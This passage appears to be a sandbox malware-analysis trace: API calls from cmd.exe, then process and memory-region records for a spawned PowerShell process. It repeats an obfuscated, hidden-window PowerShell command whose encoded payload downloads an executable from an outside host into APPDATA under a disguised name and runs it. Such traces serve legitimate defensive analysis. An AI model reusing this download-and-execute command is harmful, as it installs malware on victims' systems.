[0046.173] GetLastError () returned 0x2 [0046.174] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell.exe.*", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.174] GetLastError () returned 0x2 [0046.174] FindFirstFileExW (in: lpFileName="C:\\Windows\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.174] GetLastError () returned 0x2 [0046.174] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.174] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee34) returned 0xffffffff [0046.179] GetLastError () returned 0x2 [0046.179] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.exe.*", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.180] GetLastError () returned 0x2 [0046.180] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee14, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee14) returned 0xffffffff [0046.181] GetLastError () returned 0x2 [0046.181] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.181] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", fInfoLevelId=0x1, lpFindFileData=0x20ee34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20ee34) returned 0x445fb8 [0046.181] FindClose (in: hFindFile=0x445fb8 | out: hFindFile=0x445fb8) returned 1 [0046.182] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0046.182] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0046.182] GetConsoleTitleW (in: lpConsoleTitle=0x20f30c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.182] InitializeProcThreadAttributeList (in: lpAttributeList=0x20f194, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20f25c | out: lpAttributeList=0x20f194, lpSize=0x20f25c) returned 1 [0046.182] UpdateProcThreadAttribute (in: lpAttributeList=0x20f194, dwFlags=0x0, Attribute=0x60001, lpValue=0x20f254, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20f194, lpPreviousValue=0x0) returned 1 [0046.182] GetStartupInfoW (in: lpStartupInfo=0x20f150 | out: lpStartupInfo=0x20f150*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.182] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="WecVers", _MaxCount=0x7) returned -20 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.183] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0046.183] lstrcmpW (lpString1="\\powershell.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.185] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x20f1f0*(cb=0x48, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20f23c | out: lpCommandLine="powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"", lpProcessInformation=0x20f23c*(hProcess=0x78, hThread=0x74, dwProcessId=0xa40, dwThreadId=0xa44)) returned 1 [0046.209] CloseHandle (hObject=0x74) returned 1 [0046.209] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0046.209] GetEnvironmentStringsW () returned 0x444a68* [0046.209] FreeEnvironmentStringsW (penv=0x444a68) returned 1 [0046.209] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0058.323] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x20f130 | out: lpExitCode=0x20f130*=0x0) returned 1 [0058.324] CloseHandle (hObject=0x78) returned 1 [0058.324] _vsnwprintf (in: _Buffer=0x20f278, _BufferCount=0x13, _Format="%08X", _ArgList=0x20f13c | out: _Buffer="00000000") returned 8 [0058.324] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0058.324] GetEnvironmentStringsW () returned 0x445fd8* [0058.324] FreeEnvironmentStringsW (penv=0x445fd8) returned 1 [0058.324] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0058.324] GetEnvironmentStringsW () returned 0x445fd8* [0058.324] FreeEnvironmentStringsW (penv=0x445fd8) returned 1 [0058.324] DeleteProcThreadAttributeList (in: lpAttributeList=0x20f194 | out: lpAttributeList=0x20f194) [0058.324] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.324] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.324] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.324] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8d41ac | out: lpMode=0x4a8d41ac) returned 1 [0058.324] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.324] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8d41b0 | out: lpMode=0x4a8d41b0) returned 1 [0058.324] SetConsoleInputExeNameW () returned 0x1 [0058.324] GetConsoleOutputCP () returned 0x1b5 [0058.325] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8d4260 | out: lpCPInfo=0x4a8d4260) returned 1 [0058.325] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.325] exit (_Code=0) Process: id = "5" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x765af000" os_pid = "0xa40" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xa28" cmd_line = "powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA \"" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 812 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 813 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 814 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 815 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 816 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 817 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 818 start_va = 0x240000 end_va = 0x27ffff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 819 start_va = 0x21950000 end_va = 0x219c1fff entry_point = 0x21950000 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 820 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 821 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 822 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 823 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 824 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 825 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 826 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 827 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 828 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 829 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 830 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 831 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 832 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 833 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 834 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 835 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 836 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 837 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 838 start_va = 0x280000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 839 start_va = 0x4a0000 end_va = 0x4affff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 840 start_va = 0x73b50000 end_va = 0x73b63fff entry_point = 0x73b50000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 841 start_va = 0x74230000 end_va = 0x74279fff entry_point = 0x74232e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 842 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 843 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 844 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 845 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 846 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 847 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 848 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 849 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 850 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 851 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 852 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 853 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 854 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 855 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 856 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 857 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 858 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 859 start_va = 0x4b0000 end_va = 0x637fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 860 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 861 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 862 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 863 start_va = 0x160000 end_va = 0x161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 864 start_va = 0x170000 end_va = 0x172fff entry_point = 0x170000 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 865 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 866 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 867 start_va = 0x200000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 868 start_va = 0x640000 end_va = 0x7c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" Region: id = 869 start_va = 0x7d0000 end_va = 0x1bcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 870 start_va = 0x1d60000 end_va = 0x1d9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 871 start_va = 0x73db0000 end_va = 0x73e2ffff entry_point = 0x73dc37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 872 start_va = 0x1e0000 end_va = 0x1e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 873 start_va = 0x380000 end_va = 0x45efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 874 start_va = 0x1f60000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 875 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 876 start_va = 0x1f0000 end_va = 0x1f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 877 start_va = 0x75650000 end_va = 0x76299fff entry_point = 0x756d1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 878 start_va = 0x73b30000 end_va = 0x73b46fff entry_point = 0x73b30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 879 start_va = 0x74b40000 end_va = 0x74b4afff entry_point = 0x74b41992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 880 start_va = 0x210000 end_va = 0x211fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000210000" filename = "" Region: id = 881 start_va = 0x74820000 end_va = 0x749bdfff entry_point = 0x7484e6b5 region_type = mapped_file name = "comctl32.dll" filename = 